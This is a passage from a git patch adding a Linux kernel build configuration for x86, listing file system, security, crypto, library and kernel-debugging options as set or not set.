Xilinx SoC drivers +# +# end of Xilinx SoC drivers +# end of SOC (System On Chip) specific Drivers + +# CONFIG_PM_DEVFREQ is not set +# CONFIG_EXTCON is not set +# CONFIG_MEMORY is not set +# CONFIG_IIO is not set +# CONFIG_NTB is not set +# CONFIG_PWM is not set + +# +# IRQ chip support +# +# end of IRQ chip support + +# CONFIG_IPACK_BUS is not set +# CONFIG_RESET_CONTROLLER is not set + +# +# PHY Subsystem +# +CONFIG_GENERIC_PHY=y +# CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# +# CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + +# CONFIG_PHY_PXA_28NM_HSIC is not set +# CONFIG_PHY_PXA_28NM_USB2 is not set +# CONFIG_PHY_INTEL_LGM_EMMC is not set +# end of PHY Subsystem + +# CONFIG_POWERCAP is not set +# CONFIG_MCB is not set + +# +# Performance monitor support +# +# end of Performance monitor support + +# CONFIG_RAS is not set +# CONFIG_USB4 is not set + +# +# Android +# +# CONFIG_ANDROID_BINDER_IPC is not set +# end of Android + +CONFIG_LIBNVDIMM=y +# CONFIG_BLK_DEV_PMEM is not set +# CONFIG_BTT is not set +# CONFIG_DAX is not set +CONFIG_NVMEM=y +# CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set + +# +# HW tracing support +# +# CONFIG_STM is not set +# CONFIG_INTEL_TH is not set +# end of HW tracing support + +# CONFIG_FPGA is not set +# CONFIG_SIOX is not set +# CONFIG_SLIMBUS is not set +# CONFIG_INTERCONNECT is not set +# CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set +# end of Device Drivers + +# +# File systems +# +CONFIG_DCACHE_WORD_ACCESS=y +# CONFIG_VALIDATE_FS_PARSER is not set +CONFIG_FS_IOMAP=y +# CONFIG_EXT2_FS is not set +# CONFIG_EXT3_FS is not set +CONFIG_EXT4_FS=y +CONFIG_EXT4_USE_FOR_EXT2=y +# CONFIG_EXT4_FS_POSIX_ACL is not set +# CONFIG_EXT4_FS_SECURITY is not set +# CONFIG_EXT4_DEBUG is not set +CONFIG_JBD2=y +# CONFIG_JBD2_DEBUG is not set +CONFIG_FS_MBCACHE=y +# CONFIG_REISERFS_FS is not set +# CONFIG_JFS_FS is not set +# CONFIG_XFS_FS is not set +# CONFIG_GFS2_FS is not set +# CONFIG_BTRFS_FS is not set +# CONFIG_NILFS2_FS is not set +# CONFIG_F2FS_FS is not set +# CONFIG_EXPORTFS_BLOCK_OPS is not set +CONFIG_FILE_LOCKING=y +# CONFIG_FS_ENCRYPTION is not set +# CONFIG_FS_VERITY is not set +# CONFIG_DNOTIFY is not set +# CONFIG_INOTIFY_USER is not set +# CONFIG_FANOTIFY is not set +# CONFIG_QUOTA is not set +# CONFIG_AUTOFS4_FS is not set +# CONFIG_AUTOFS_FS is not set +# CONFIG_FUSE_FS is not set +# CONFIG_OVERLAY_FS is not set + +# +# Caches +# +# CONFIG_FSCACHE is not set +# end of Caches + +# +# CD-ROM/DVD Filesystems +# +CONFIG_ISO9660_FS=y +CONFIG_JOLIET=y +# CONFIG_ZISOFS is not set +# CONFIG_UDF_FS is not set +# end of CD-ROM/DVD Filesystems + +# +# DOS/FAT/EXFAT/NT Filesystems +# +CONFIG_FAT_FS=y +CONFIG_MSDOS_FS=y +CONFIG_VFAT_FS=y +CONFIG_FAT_DEFAULT_CODEPAGE=437 +CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" +# CONFIG_FAT_DEFAULT_UTF8 is not set +CONFIG_EXFAT_FS=y +CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" +# CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set +# end of DOS/FAT/EXFAT/NT Filesystems + +# +# Pseudo filesystems +# +CONFIG_PROC_FS=y +# CONFIG_PROC_KCORE is not set +CONFIG_PROC_SYSCTL=y +# CONFIG_PROC_PAGE_MONITOR is not set +# CONFIG_PROC_CHILDREN is not set +CONFIG_PROC_PID_ARCH_STATUS=y +CONFIG_KERNFS=y +CONFIG_SYSFS=y +# CONFIG_TMPFS is not set +# CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y +CONFIG_ARCH_HAS_GIGANTIC_PAGE=y +# CONFIG_CONFIGFS_FS is not set +# CONFIG_EFIVAR_FS is not set +# end of Pseudo filesystems + +# CONFIG_MISC_FILESYSTEMS is not set +CONFIG_NETWORK_FILESYSTEMS=y +# CONFIG_CEPH_FS is not set +# CONFIG_CIFS is not set +# CONFIG_CODA_FS is not set +# CONFIG_AFS_FS is not set +CONFIG_NLS=y +CONFIG_NLS_DEFAULT="utf8" +CONFIG_NLS_CODEPAGE_437=y +# CONFIG_NLS_CODEPAGE_737 is not set +# CONFIG_NLS_CODEPAGE_775 is not set +# CONFIG_NLS_CODEPAGE_850 is not set +# CONFIG_NLS_CODEPAGE_852 is not set +# CONFIG_NLS_CODEPAGE_855 is not set +# CONFIG_NLS_CODEPAGE_857 is not set +# CONFIG_NLS_CODEPAGE_860 is not set +# CONFIG_NLS_CODEPAGE_861 is not set +# CONFIG_NLS_CODEPAGE_862 is not set +# CONFIG_NLS_CODEPAGE_863 is not set +# CONFIG_NLS_CODEPAGE_864 is not set +# CONFIG_NLS_CODEPAGE_865 is not set +# CONFIG_NLS_CODEPAGE_866 is not set +# CONFIG_NLS_CODEPAGE_869 is not set +# CONFIG_NLS_CODEPAGE_936 is not set +# CONFIG_NLS_CODEPAGE_950 is not set +# CONFIG_NLS_CODEPAGE_932 is not set +# CONFIG_NLS_CODEPAGE_949 is not set +# CONFIG_NLS_CODEPAGE_874 is not set +# CONFIG_NLS_ISO8859_8 is not set +# CONFIG_NLS_CODEPAGE_1250 is not set +# CONFIG_NLS_CODEPAGE_1251 is not set +# CONFIG_NLS_ASCII is not set +CONFIG_NLS_ISO8859_1=y +# CONFIG_NLS_ISO8859_2 is not set +# CONFIG_NLS_ISO8859_3 is not set +# CONFIG_NLS_ISO8859_4 is not set +# CONFIG_NLS_ISO8859_5 is not set +# CONFIG_NLS_ISO8859_6 is not set +# CONFIG_NLS_ISO8859_7 is not set +# CONFIG_NLS_ISO8859_9 is not set +# CONFIG_NLS_ISO8859_13 is not set +# CONFIG_NLS_ISO8859_14 is not set +# CONFIG_NLS_ISO8859_15 is not set +# CONFIG_NLS_KOI8_R is not set +# CONFIG_NLS_KOI8_U is not set +# CONFIG_NLS_MAC_ROMAN is not set +# CONFIG_NLS_MAC_CELTIC is not set +# CONFIG_NLS_MAC_CENTEURO is not set +# CONFIG_NLS_MAC_CROATIAN is not set +# CONFIG_NLS_MAC_CYRILLIC is not set +# CONFIG_NLS_MAC_GAELIC is not set +# CONFIG_NLS_MAC_GREEK is not set +# CONFIG_NLS_MAC_ICELAND is not set +# CONFIG_NLS_MAC_INUIT is not set +# CONFIG_NLS_MAC_ROMANIAN is not set +# CONFIG_NLS_MAC_TURKISH is not set +CONFIG_NLS_UTF8=y +# CONFIG_UNICODE is not set +CONFIG_IO_WQ=y +# end of File systems + +# +# Security options +# +# CONFIG_KEYS is not set +# CONFIG_SECURITY_DMESG_RESTRICT is not set +CONFIG_SECURITYFS=y +# CONFIG_INTEL_TXT is not set +CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y +CONFIG_HARDENED_USERCOPY=y +# CONFIG_FORTIFY_SOURCE is not set +# CONFIG_STATIC_USERMODEHELPER is not set +# CONFIG_IMA_SECURE_AND_OR_TRUSTED_BOOT is not set +CONFIG_DEFAULT_SECURITY_DAC=y +CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" + +# +# Kernel hardening options +# + +# +# Memory initialization +# +CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set +# CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set +# CONFIG_INIT_ON_FREE_DEFAULT_ON is not set +# end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set +# end of Kernel hardening options +# end of Security options + +CONFIG_CRYPTO=y + +# +# Crypto core or helper +# +CONFIG_CRYPTO_ALGAPI=y +CONFIG_CRYPTO_ALGAPI2=y +CONFIG_CRYPTO_AEAD=y +CONFIG_CRYPTO_AEAD2=y +CONFIG_CRYPTO_SKCIPHER=y +CONFIG_CRYPTO_SKCIPHER2=y +CONFIG_CRYPTO_HASH=y +CONFIG_CRYPTO_HASH2=y +CONFIG_CRYPTO_RNG=y +CONFIG_CRYPTO_RNG2=y +CONFIG_CRYPTO_AKCIPHER2=y +CONFIG_CRYPTO_KPP2=y +CONFIG_CRYPTO_ACOMP2=y +CONFIG_CRYPTO_MANAGER=y +CONFIG_CRYPTO_MANAGER2=y +CONFIG_CRYPTO_USER=y +CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y +CONFIG_CRYPTO_NULL=y +CONFIG_CRYPTO_NULL2=y +# CONFIG_CRYPTO_PCRYPT is not set +CONFIG_CRYPTO_CRYPTD=y +CONFIG_CRYPTO_AUTHENC=y +# CONFIG_CRYPTO_TEST is not set +CONFIG_CRYPTO_SIMD=y +# end of Crypto core or helper + +# +# Public-key cryptography +# +# CONFIG_CRYPTO_RSA is not set +# CONFIG_CRYPTO_DH is not set +# CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set +# CONFIG_CRYPTO_ECRDSA is not set +# CONFIG_CRYPTO_SM2 is not set +# CONFIG_CRYPTO_CURVE25519 is not set +# end of Public-key cryptography + +# +# Block ciphers +# +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers + +# +# Length-preserving ciphers and modes +# +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set +CONFIG_CRYPTO_CBC=y +# CONFIG_CRYPTO_CFB is not set +# CONFIG_CRYPTO_CTR is not set +# CONFIG_CRYPTO_CTS is not set +CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set +# CONFIG_CRYPTO_LRW is not set +# CONFIG_CRYPTO_OFB is not set +# CONFIG_CRYPTO_PCBC is not set +CONFIG_CRYPTO_XTS=y +# end of Length-preserving ciphers and modes + +# +# AEAD (authenticated encryption with associated data) ciphers +# +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers + +# +# Hashes, digests, and MACs +# +# CONFIG_CRYPTO_BLAKE2B is not set +# CONFIG_CRYPTO_CMAC is not set +# CONFIG_CRYPTO_GHASH is not set +CONFIG_CRYPTO_HMAC=y +# CONFIG_CRYPTO_MD4 is not set +CONFIG_CRYPTO_MD5=y +# CONFIG_CRYPTO_MICHAEL_MIC is not set +# CONFIG_CRYPTO_POLY1305 is not set +# CONFIG_CRYPTO_RMD160 is not set +CONFIG_CRYPTO_SHA1=y +CONFIG_CRYPTO_SHA256=y +CONFIG_CRYPTO_SHA512=y +# CONFIG_CRYPTO_SHA3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set +# CONFIG_CRYPTO_STREEBOG is not set +# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_WP512 is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs + +# +# CRCs (cyclic redundancy checks) +# +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) + +# +# Compression +# +# CONFIG_CRYPTO_DEFLATE is not set +# CONFIG_CRYPTO_LZO is not set +# CONFIG_CRYPTO_842 is not set +# CONFIG_CRYPTO_LZ4 is not set +# CONFIG_CRYPTO_LZ4HC is not set +# CONFIG_CRYPTO_ZSTD is not set +# end of Compression + +# +# Random number generation +# +# CONFIG_CRYPTO_ANSI_CPRNG is not set +# CONFIG_CRYPTO_DRBG_MENU is not set +# CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# +CONFIG_CRYPTO_USER_API=y +CONFIG_CRYPTO_USER_API_HASH=y +CONFIG_CRYPTO_USER_API_SKCIPHER=y +CONFIG_CRYPTO_USER_API_RNG=y +CONFIG_CRYPTO_USER_API_AEAD=y +# CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set +# CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + +CONFIG_CRYPTO_HASH_INFO=y + +# +# Accelerated Cryptographic Algorithms for CPU (x86) +# +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + +# CONFIG_CRYPTO_HW is not set + +# +# Certificates for signature checking +# +# end of Certificates for signature checking + +# +# Library routines +# +# CONFIG_PACKING is not set +CONFIG_BITREVERSE=y +CONFIG_GENERIC_STRNCPY_FROM_USER=y +CONFIG_GENERIC_STRNLEN_USER=y +CONFIG_GENERIC_NET_UTILS=y +# CONFIG_CORDIC is not set +# CONFIG_PRIME_NUMBERS is not set +CONFIG_RATIONAL=y +CONFIG_GENERIC_PCI_IOMAP=y +CONFIG_GENERIC_IOMAP=y +CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y +CONFIG_ARCH_HAS_FAST_MULTIPLIER=y +CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +# CONFIG_CRC_CCITT is not set +CONFIG_CRC16=y +# CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set +# CONFIG_CRC_ITU_T is not set +CONFIG_CRC32=y +# CONFIG_CRC32_SELFTEST is not set +CONFIG_CRC32_SLICEBY8=y +# CONFIG_CRC32_SLICEBY4 is not set +# CONFIG_CRC32_SARWATE is not set +# CONFIG_CRC32_BIT is not set +# CONFIG_CRC64 is not set +# CONFIG_CRC4 is not set +# CONFIG_CRC7 is not set +CONFIG_LIBCRC32C=y +# CONFIG_CRC8 is not set +# CONFIG_RANDOM32_SELFTEST is not set +CONFIG_XZ_DEC=y +CONFIG_XZ_DEC_X86=y +# CONFIG_XZ_DEC_POWERPC is not set +# CONFIG_XZ_DEC_IA64 is not set +# CONFIG_XZ_DEC_ARM is not set +# CONFIG_XZ_DEC_ARMTHUMB is not set +# CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set +CONFIG_XZ_DEC_BCJ=y +# CONFIG_XZ_DEC_TEST is not set +CONFIG_DECOMPRESS_XZ=y +CONFIG_GENERIC_ALLOCATOR=y +CONFIG_REED_SOLOMON=y +CONFIG_REED_SOLOMON_DEC8=y +CONFIG_INTERVAL_TREE=y +CONFIG_HAS_IOMEM=y +CONFIG_HAS_IOPORT_MAP=y +CONFIG_HAS_DMA=y +CONFIG_DMA_OPS=y +CONFIG_NEED_SG_DMA_LENGTH=y +CONFIG_NEED_DMA_MAP_STATE=y +CONFIG_ARCH_DMA_ADDR_T_64BIT=y +CONFIG_SWIOTLB=y +# CONFIG_DMA_API_DEBUG is not set +CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set +CONFIG_CPU_RMAP=y +CONFIG_DQL=y +CONFIG_GLOB=y +# CONFIG_GLOB_SELFTEST is not set +CONFIG_NLATTR=y +# CONFIG_IRQ_POLL is not set +CONFIG_UCS2_STRING=y +CONFIG_HAVE_GENERIC_VDSO=y +CONFIG_GENERIC_GETTIMEOFDAY=y +CONFIG_GENERIC_VDSO_TIME_NS=y +CONFIG_FONT_SUPPORT=y +# CONFIG_FONTS is not set +CONFIG_FONT_8x8=y +CONFIG_FONT_8x16=y +CONFIG_SG_POOL=y +CONFIG_ARCH_HAS_PMEM_API=y +CONFIG_MEMREGION=y +CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y +CONFIG_ARCH_HAS_COPY_MC=y +CONFIG_ARCH_STACKWALK=y +CONFIG_SBITMAP=y +# end of Library routines + +# +# Kernel hacking +# + +# +# printk and dmesg options +# +CONFIG_PRINTK_TIME=y +# CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set +CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 +CONFIG_CONSOLE_LOGLEVEL_QUIET=4 +CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 +CONFIG_BOOT_PRINTK_DELAY=y +# CONFIG_DYNAMIC_DEBUG is not set +# CONFIG_DYNAMIC_DEBUG_CORE is not set +CONFIG_SYMBOLIC_ERRNAME=y +# CONFIG_DEBUG_BUGVERBOSE is not set +# end of printk and dmesg options + +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + +# +# Compile-time checks and compiler options +# +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set +CONFIG_FRAME_WARN=1024 +# CONFIG_STRIP_ASM_SYMS is not set +# CONFIG_READABLE_ASM is not set +# CONFIG_HEADERS_INSTALL is not set +# CONFIG_DEBUG_SECTION_MISMATCH is not set +CONFIG_SECTION_MISMATCH_WARN_ONLY=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set +# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set +# end of Compile-time checks and compiler options + +# +# Generic Kernel Debugging Instruments +# +CONFIG_MAGIC_SYSRQ=y +CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x1 +CONFIG_MAGIC_SYSRQ_SERIAL=y +CONFIG_MAGIC_SYSRQ_SERIAL_SEQUENCE="" +# CONFIG_DEBUG_FS is not set +CONFIG_HAVE_ARCH_KGDB=y +# CONFIG_KGDB is not set +CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y +# CONFIG_UBSAN is not set +CONFIG_HAVE_ARCH_KCSAN=y +# end of Generic Kernel Debugging Instruments + +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging + +# +# Memory Debugging +# +# CONFIG_PAGE_EXTENSION is not set +# CONFIG_DEBUG_PAGEALLOC is not set +# CONFIG_SLUB_DEBUG is not set +# CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set +# CONFIG_PAGE_POISONING is not set +# CONFIG_DEBUG_RODATA_TEST is not set +CONFIG_ARCH_HAS_DEBUG_WX=y +# CONFIG_DEBUG_WX is not set +CONFIG_GENERIC_PTDUMP=y +# CONFIG_DEBUG_OBJECTS is not set +CONFIG_HAVE_DEBUG_KMEMLEAK=y +# CONFIG_DEBUG_KMEMLEAK is not set +# CONFIG_DEBUG_STACK_USAGE is not set +# CONFIG_SCHED_STACK_END_CHECK is not set +CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y +# CONFIG_DEBUG_VM is not set +# CONFIG_DEBUG_VM_PGTABLE is not set +CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y +# CONFIG_DEBUG_VIRTUAL is not set +# CONFIG_DEBUG_MEMORY_INIT is not set +# CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set +CONFIG_HAVE_ARCH_KASAN=y +CONFIG_HAVE_ARCH_KASAN_VMALLOC=y +CONFIG_CC_HAS_KASAN_GENERIC=y +CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y +# CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y +# end of Memory Debugging + +# CONFIG_DEBUG_SHIRQ is not set + +# +# Debug Oops, Lockups and Hangs +# +# CONFIG_PANIC_ON_OOPS is not set +CONFIG_PANIC_ON_OOPS_VALUE=0 +CONFIG_PANIC_TIMEOUT=0 +CONFIG_LOCKUP_DETECTOR=y +CONFIG_SOFTLOCKUP_DETECTOR=y +# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set +CONFIG_HARDLOCKUP_DETECTOR_PERF=y +CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y +CONFIG_HARDLOCKUP_DETECTOR=y +# CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set +CONFIG_DETECT_HUNG_TASK=y +CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 +# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set +CONFIG_WQ_WATCHDOG=y +# CONFIG_TEST_LOCKUP is not set +# end of Debug Oops, Lockups and Hangs + +# +# Scheduler Debugging +# +# CONFIG_SCHED_DEBUG is not set +# CONFIG_SCHEDSTATS is not set +# end of Scheduler Debugging + +# CONFIG_DEBUG_TIMEKEEPING is not set + +# +# Lock Debugging (spinlocks, mutexes, etc...) +# +CONFIG_LOCK_DEBUGGING_SUPPORT=y +# CONFIG_PROVE_LOCKING is not set +# CONFIG_LOCK_STAT is not set +# CONFIG_DEBUG_RT_MUTEXES is not set +# CONFIG_DEBUG_SPINLOCK is not set +# CONFIG_DEBUG_MUTEXES is not set +# CONFIG_DEBUG_WW_MUTEX_SLOWPATH is not set +# CONFIG_DEBUG_RWSEMS is not set +# CONFIG_DEBUG_LOCK_ALLOC is not set +# CONFIG_DEBUG_ATOMIC_SLEEP is not set +# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set +# CONFIG_LOCK_TORTURE_TEST is not set +# CONFIG_WW_MUTEX_SELFTEST is not set +# CONFIG_SCF_TORTURE_TEST is not set +# CONFIG_CSD_LOCK_WAIT_DEBUG is not set +# end of Lock Debugging (spinlocks, mutexes, etc...) + +# CONFIG_DEBUG_IRQFLAGS is not set +# CONFIG_STACKTRACE is not set +# CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set +# CONFIG_DEBUG_KOBJECT is not set + +# +# Debug kernel data structures +# +# CONFIG_DEBUG_LIST is not set +# CONFIG_DEBUG_PLIST is not set +# CONFIG_DEBUG_SG is not set +# CONFIG_DEBUG_NOTIFIERS is not set +# CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set +# end of Debug kernel data structures + +# CONFIG_DEBUG_CREDENTIALS is not set + +# +# RCU Debugging +# +# CONFIG_RCU_SCALE_TEST is not set +# CONFIG_RCU_TORTURE_TEST is not set +# CONFIG_RCU_REF_SCALE_TEST is not set +CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 +# CONFIG_RCU_TRACE is not set +# CONFIG_RCU_EQS_DEBUG is not set +# end of RCU Debugging + +# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set +# CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set +# CONFIG_LATENCYTOP is not set +CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y +CONFIG_HAVE_FUNCTION_TRACER=y +CONFIG_HAVE_DYNAMIC_FTRACE=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y +CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y +CONFIG_HAVE_SYSCALL_TRACEPOINTS=y +CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y +CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y +CONFIG_TRACING_SUPPORT=y +# CONFIG_FTRACE is not set +# CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set +# CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y +CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y +# CONFIG_STRICT_DEVMEM is not set + +# +# x86 Debugging +# +# CONFIG_X86_VERBOSE_BOOTUP is not set +CONFIG_EARLY_PRINTK=y +# CONFIG_EARLY_PRINTK_DBGP is not set +# CONFIG_EARLY_PRINTK_USB_XDBC is not set +# CONFIG_EFI_PGT_DUMP is not set +# CONFIG_DEBUG_TLBFLUSH is not set +CONFIG_HAVE_MMIOTRACE_SUPPORT=y +# CONFIG_X86_DECODER_SELFTEST is not set +# CONFIG_IO_DELAY_0X80 is not set +CONFIG_IO_DELAY_0XED=y +# CONFIG_IO_DELAY_UDELAY is not set +# CONFIG_IO_DELAY_NONE is not set +# CONFIG_CPA_DEBUG is not set +# CONFIG_DEBUG_ENTRY is not set +# CONFIG_DEBUG_NMI_SELFTEST is not set +# CONFIG_X86_DEBUG_FPU is not set +# CONFIG_PUNIT_ATOM_DEBUG is not set +CONFIG_UNWINDER_ORC=y +# CONFIG_UNWINDER_FRAME_POINTER is not set +# CONFIG_UNWINDER_GUESS is not set +# end of x86 Debugging + +# +# Kernel Testing and Coverage +# +# CONFIG_KUNIT is not set +# CONFIG_NOTIFIER_ERROR_INJECTION is not set +# CONFIG_FAULT_INJECTION is not set +CONFIG_ARCH_HAS_KCOV=y +CONFIG_CC_HAS_SANCOV_TRACE_PC=y +# CONFIG_KCOV is not set +# CONFIG_RUNTIME_TESTING_MENU is not set +CONFIG_ARCH_USE_MEMTEST=y +# CONFIG_MEMTEST is not set +# end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking +# end of Kernel hacking From de0a1f4795eb0b06d79003b8b73720dce355cd22 Mon Sep 17 00:00:00 2001 